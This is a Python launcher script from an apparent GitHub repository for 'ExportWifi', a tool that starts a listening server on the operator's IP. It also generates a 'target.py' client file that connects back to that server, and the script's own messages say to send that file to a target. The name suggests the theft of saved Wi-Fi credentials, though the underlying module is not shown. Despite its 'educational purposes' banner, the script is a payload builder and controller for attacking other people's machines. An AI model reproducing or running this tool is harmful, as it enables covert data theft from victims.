-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathwifi.py
95 lines (78 loc) · 3.47 KB
/
wifi.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from ExportWifi import WlanServer
import sys
import random
import os
lst = sys.argv
gui = """
___________ __ __ __.__ _____.__
\_ _____/__ _________ ____________/ |_/ \ / \__|/ ____\__|
| __)_\ \/ /\____ \ / _ \_ __ \ __\ \/\/ / \ __\| |
| \> < | |_> > <_> ) | \/| | \ /| || | | |
/_______ /__/\_ \| __/ \____/|__| |__| \__/\ / |__||__| |__|
\/ \/|__| \/
~Created by: Kill0ger~
REMINDER THIS WAS BUILD FOR EDUCATIONAL PURPOSES
SO DON'T USE THIS FOR EVIL ACTIVITIES !!!!!
THANK YOU FOR USING EXPORTWIFI
"""
try:
if "-aip" in lst:
idx = lst.index("-aip")
try:
ip = str(lst[idx + 1])
numbers = "1 2 3 4 5 6 7 8 9 0".split()
port_number = int("".join(random.sample(numbers, 4)))
if "-ds" in lst:
try:
data = f"""
from ExportWifi import WlanServer
server = WlanServer('{ip}', {port_number})
server.start()
"""
if os.path.exists("demon_server.py"):
os.remove("demon_server.py")
with open("demon_server.py", "a+") as file:
file.write(data)
print('"demon_server.py" has been created')
except IndexError:
print(gui)
quit()
if "-p" in lst: #"p" stands for ports
idx_port = lst.index("-p")
try:
print('HERE IS THE PORT NUMBER OF THE SERVER')
print(f"\nport = {port_number}")
except IndexError:
print(gui)
quit()
if "-cf" in lst: #"cf" stands for Create file
idx_cf = lst.index("-cf")
try:
filename = lst[idx_cf + 1]
if not filename.endswith("py"):
data = filename.split(".")
filename = f"{data[0]}.py"
if "-" in filename:
filename = "target.py"
if os.path.exists(filename):
os.remove(filename)
with open(f"{filename}", "a+") as file:
file.write(f'import ExportWifi as wifi \n\nclient = wifi.WlanClient("{ip}", {port_number})\nclient.start()')
print(f"{filename.upper()} has been created")
except IndexError:
with open("target.py", "a+") as file:
file.write(f'import ExportWifi as wifi \n\nclient = wifi.WlanClient("{ip}", {port_number})\nclient.start()')
print("TARGET.PY HAS BEEN CREATED YOU CAN SEND THIS TO YOUR TARGET")
server = WlanServer(ip, port_number)
server.start()
except IndexError:
print(gui)
print("INSERT AN IP-ADDRESS")
if "-help" in lst:
print(gui)
print("\n-aip INSERT THE SERVERS IP\n-cf CREATES TARGET FILE WHICH YOU SEND TO ANY TARGET\n-p SAVES ALL THE PORTS OF THE CURRENT SERVER\n-ds CREATES A SERVER WITH THE SAME PORTS AS THE TARGET")
if "-aip" not in lst and len(lst) == 1:
print(gui)
print("YOU MUST SPECIFY YOUR IP-ADDRESS WITH '-aip'. IF YOU NEED HELP SIMPLY TYPE 'python wifi.py -help'")
except OSError:
print("CHECK YOUR IP-ADDRESS")